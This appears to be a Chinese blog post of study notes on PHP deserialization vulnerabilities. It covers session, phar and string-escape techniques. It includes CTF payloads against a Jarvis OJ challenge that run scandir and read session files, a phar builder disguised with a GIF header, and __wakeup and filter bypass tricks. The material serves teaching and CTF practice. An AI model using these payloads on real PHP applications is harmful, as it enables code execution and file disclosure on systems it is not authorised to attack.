PHP反序列化漏洞

本篇笔记内容包括漏洞成因、Session反序列化、phar反序列化、字符逃逸等相关知识。

概念

在了解反序列化漏洞之前,我们先了解下序列化和反序列化,序列化是将变量或对象转换成字符串的过程,使用 serialize() 函数。
案例引入
案例

案例输出
输出
反序列化就是将字符串转换成对象或变量。使用 unserialize() 函数。

字母表示含义
aarray,数组
bboolean,布尔,值只能为true和false
ddouble,双精度浮点型,用来存储小数
iinteger,整型,用来存储整数
ocommon object,php3引入用来标识对象,php4以后被O取代。
rreference,引用
Ccustom object,自定义对象,PHP5时引入的
sstring,字符串
Nnull,空值
Rpointer reference,指针引用
UUnicode string,Unicode编码的字符串
OObject,对象。用来表示实例化对象

常用魔术方法

__construct(): // 构造函数,当对象创建(new)时会自动调用但在unserialize()时是不会自动调用的
__destruct(): // 析构函数当对象被销毁时会自动调用
__wakeup(): // unserialize()时会自动调用
__invoke(): // 当尝试以调用函数的方法调用一个对象时触发
__call(): // 在对象上下文中调用不可访问的方法时触发
__callStatic(): // 在静态上下文中调用不可访问的方法时触发
__get(): // 从不可访问的属性读取数据时触发
__set(): // 将数据写入不可访问的属性时触发
__isset(): // 在不可访问的属性上调用 isset( )或 empty()触发
__unset(): // 在不可访问的属性上使用 unset()时触发
__toString(): // 把类当作字符串处理时触发
__sleep(): // 序列化时如果存在__sleep(),该方法会被优先调用。

image-20220331104801874

Session反序列化

概念

PHP session是一个特殊的变量,用于存储有关用户会话的信息,或更改用户会话的设置。session变量保存的信息是单一用户的,并且可供应用程序中的所有页面使用。它为每个访问者创建一个唯一的id (UID),并基于这个UID来存储变量。UID存储在cookie 中,亦或通过URL进行传导。

会话过程: 当开始一个会话时,PHP会尝试从请求中查找会话ID(通常通过会话cookie),如果请求中不包含会话ID信息,PHP就会创建一个新的会话。会话开始之后,PHP就会将会话中的数据设置到$_SESSION变量中。当PHP停止的时候,它会自动读取$_SESSION中的内容,并将其进行序列化,然后发送给会话保存管理器来进行保存。

默认情况下,PHP使用内置的文件会话保存管理器(files)来完成会话的保存。可以通过调用函数session_start()来手动开始一个会话。如果配置项 session.auto_start 设置为1,那么请求开始的时候,会话会自动开始。

PHP脚本执行完毕之后,会话会自动关闭。同时,也可以通过调用函数session_write_close()来手动关闭会话。

了解了有关session的概念后,还需要了解php.ini中一些Session配置

session.save_path=""  设置session的存储路径
session.save_handler=""  设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.auto_start boolen   指定会话模块是否在请求开始时启动一个会话默认为0不启动
session.serialize_handler string   定义用来序列化/反序列化的处理器名字。默认使用php

存储引擎

PHP中的session中的内容默认是以文件的方式来存储的,存储方式就是由配置项session.save_handler来进行确定的,默认是以文件的方式存储。存储的文件是以sess_PHPSESSID来进行命名的,文件的内容就是session值的序列化之后的内容。
session.serialize_handler有如下三种取值

存储引擎存储方式
php_binary键名的长度对应的ASCII字符+键名+经serialize()后的值
php键名+竖线+经serialize()后的值
php_serialize(php<5.5.4)经serialize()后的值

linux常见存储session路径

/var/lib/php5/sess_PHPSESSID
/var/lib/php7/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSED

有$_SESSION赋值

Session反序列化漏洞: 当网站序列化存储session与反序列化读取session的方式不同时,就可能导致session反序列化漏洞的产生。一般都是以php_serialize序列化存储session,以PHP反序列化读取session,造成反序列化攻击。

无$_SESSION赋值(php>5.4.0)

使用upload_process机制,在$_SESSION中创建一对键值,其中值可控。

以Jarvis OJ题目为例:http://web.jarvisoj.com:32784
先找到phpinfo页面看配置,自己弄个表单页面

<form action="http://web.jarvisoj.com:32784/index.php" method="POST"enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123">
<input type="file" name="file" />
<input type="submit" />
</form>

抓包上传,修改文件名
payload:

|O:5:\"OowoO\":1:+{s:4:\"mdzz\";s:40:\"print_r(scandir(dirname(\_\_FILE\_\_)));\";}

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:62:\"print_r(file_get_contents(\"/opt/lampp/temp/sess_xxxxxxxxx"));\";}

在这里插入图片描述

phar反序列化

概念

phar反序列化就是可以在不使用unserialize()函数进行反序列化。
phar文件的结构由四个部分组成:

  • stub:phar的文件标识,前面内容不限,但必须以 __HALT_COMPILER();?> 结尾,否则无法识别为phar文件
  • manifest:压缩文件的属性等信息,以序列化的形式存储自定义的 meta-data,这里就是利用点
  • content:压缩文件的内容
  • signature:签名,在文件末尾

漏洞原因:使用伪协议 phar:// 读取文件时,文件内容被解析成phar对象,然后phar对象内的meta-data信息会被反序列化,因此会造成反序列化漏洞。

利用条件

  • phar文件要能够上传到服务器端
  • 要有可用的魔术方法做 “跳板”
  • 文件操作函数的参数可控,且 :/phar等特殊字符没有被过滤
受影响的函数
fileatime()filectime()file_exists()file_get_contents()
file_put_contents()file()filegroup()fopen()
fileinode()filemtime()fileowner()fileperms()
is_dir()is_executable()is_file()is_link()
is_readable()is_writable()is_writeable()parse_ini_file()
copy()unlink()stat()readline()

生成phar文件

注意:要将php.ini 中的 phar.readonly 选项设置为Off,否则无法生成 phar文件

<?php
class TestObject {
}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");  //设置stub,增加gif文件头 
$o = new TestObject();
$phar->setMetadata($o);  //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

反序列化字符逃逸

概念

在反序列化前,对序列化后的字符串进行替换或者修改,使得字符串的长度发生了变化,通过构造特定的字符串,导致对象注入等恶意操作。

php反序列化特性

  • PHP在反序列化时,底层代码是以;作为字段的分隔,以}作为结尾(字符串除外),并且是根据长度判断内容的。
  • 在反序列化的时候php会根据s所指定的字符长度去读取后边的字符。如果指定的长度错误则反序列化就会失败
  • 对类中不存在的属性也会进行反序列化

字符变多

只需要一个变量
例题
此题中对序列化中的x替换为yy,可能导致字符串长度增加。
当传入 u=admin,序列化为 a:2:{i:0;s:5:"admin";i:1;s:3:"aaa";}
替换反序列化后不满足 $a[1]===‘admin’ 条件。

​当传入 u=xxxxxxxxxxxxxxxxxxx";i:1;s:5:“admin”;},此时替换序列化的结果为a:2:{i:0;s:38:"yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy"i:1;s:5:"admin";} ";i:1;s:3:"aaa";}
此时 yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy 的长度刚好为38,不会报错,再加上后面的 ;i:1;s:5:“admin”} 成功反序列化,再后面aaa的就被忽略了。

字符变少

需要两个变量
例题
username和password为空时:a:3:{i:0;s:0:"";i:1;s:0:"";i:2;s:5:"guest";}
要想得到flag,就要使得 p 等于";i:2;s:5:"admin";},长度为19,经过观察序列化后";i:1;s:这部分是不会改变的,因为整个payload肯定是不超过100个字符的,所以加上后面的长度";i:1;s:xx:"为12个字符,这里存在着sec的替换,我们可以输入4个sec替换为空,刚好空出12个字符,可以将";i:1;s:xx:"这12个字符反序列化后在第一个元素值中,使得后面逃匿。
最后payload
u=secsecsecsec&p=";i:1;s:4:"eval";i:2;s:5:"admin";}
序列化后:a:3:{i:0;s:12:"secsecsecsec";i:1;s:19:"";i:2;s:5:"admin";}";i:2;s:5:"guest";}
替换后:a:3:{i:0;s:12:"";i:1;s:19:"";i:2;s:5:"admin";}";i:2;s:5:"guest";}
在这里插入图片描述
也可以多添加几个sec,假设为5个,此时空出15个字符,减去";i:1;s:xx:"这12个字符,还剩下3个,可以再输入三个字符填充。
u=secsecsecsecsec&p=123";i:1;s:4:"eval";i:2;s:5:"admin",}

tips

php7.1之后对类属性不敏感

7.1之前,如果变量前是protected,序列化结果会在变量名前加上\x00*\x00
8.但在特定版本7.1以上则对于类属性不敏感,比如下面的例子即使没\x00*\x00也依然会输出 abc

<?php
class test{
    protected $a;
    public function __construct(){
        $this->a = 'abc';
    }
    public function  __destruct(){
        echo $this->a;
    }
}
unserialize('O:4:"test":1:{s:1:"a";s:3:"abc";}');

phar://不能出现在首部

这时候可以使用compress.zlib://或compress.bzip2://或zlib://
(有些环境加斜线不成功)

compress.zlib://phar://
compress.bzip2://phar://
php://filter/resource=phar://

__wakeup()绕过

适用于PHP5<5.6.25 或 PHP7<7.0.10
当反序列化时对象属性个数大于实际的个数时可以绕过__wakeup()函数的执行。

O:4:"Demo":2:{s:4:"test";}
这里类对象属性只有一个test,但是写的个数为2,可以绕过__wakeup()的执行

欢迎关注公众号,公众号主要不定时发布一些漏洞POC脚本。
在这里插入图片描述

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值